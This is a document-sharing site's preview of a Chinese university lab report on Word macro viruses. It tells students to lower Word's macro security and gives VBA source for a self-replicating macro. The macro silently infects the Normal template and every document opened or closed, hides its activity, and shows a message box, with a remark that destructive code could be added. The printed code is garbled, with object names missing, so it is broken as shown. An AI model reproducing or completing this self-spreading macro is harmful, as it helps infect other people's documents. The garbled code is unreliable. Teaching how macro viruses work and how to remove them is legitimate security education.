下载此文档

宏病毒实验报告.docx


文档分类:高等教育 | 页数:约7页 举报非法文档有奖
1/7
下载提示
  • 1.该资料是网友上传的,本站提供全文预览,预览什么样,下载就什么样。
  • 2.下载该文档所得收入归上传者、原创者。
  • 3.下载的文档,不会出现我们的网址水印。
1/7 下载此文档
文档列表 文档介绍
宏病毒实验报告实验七计算机宏病毒分析及清除实验一、实验目的?了解“宏病毒”机理; ?掌握清除宏病毒的方法; ?掌握采用“宏”和脚本语言进行编程的技术。二、实验时数:2小时三、实验环境?WindowsXX/XX/XP或更高级别的Windows操作系统; ?OfficeWordXX/XX等字处理软件。四、实验要求?演示宏的编写; ?理解宏病毒的作用机制。五、实验步骤: ;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visualbasic项目的访问”。注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦。 ,然后按Alt+F11调用宏编写窗口,在左侧的“project—>MicrosoftWord”对象“ThisDocument”中输入以下代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到和当前文档的ThisDocument中,同时改变函数名,此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。完整代码如下: 'Macro-1:Micro-Virus SubDocument_Open() OnErrorResumeNext =False =False Setourcodemodule=(1).CodeModule Sethost=(1).CodeModule IfThisDocument=NormalTemplateThen Sethost=(1).CodeModule EndIf Withhost (1,1)"'Micro-Virus"Then .DeleteLines1,.CountOfLines .InsertLines1,(1,100) .ReplaceLine2,"SubDocument_Close()" IfThisDocument=NormalTemplateThen .ReplaceLine2,"SubDocument_Open()" EndIf EndIf EndWith MsgBox"MicroVirusbyContentSecurityLab" EndSub 以上代码的基本执行流程如下: 1)进行必要的自我保护: =False =False 高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。 2)得到当前文档的代码对象和公用模板的代码对象: Setourcodemodule=(1).CodeModuleSethost=(1).CodeModule IfThisDocument=NormalTemplateThen Sethost=(1).CodeModule EndIf 3)检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名: WithHost

宏病毒实验报告 来自淘豆网www.taodocs.com转载请标明出处.

非法内容举报中心
文档信息
  • 页数7
  • 收藏数0 收藏
  • 顶次数0
  • 上传人bb21547
  • 文件大小17 KB
  • 时间2019-02-19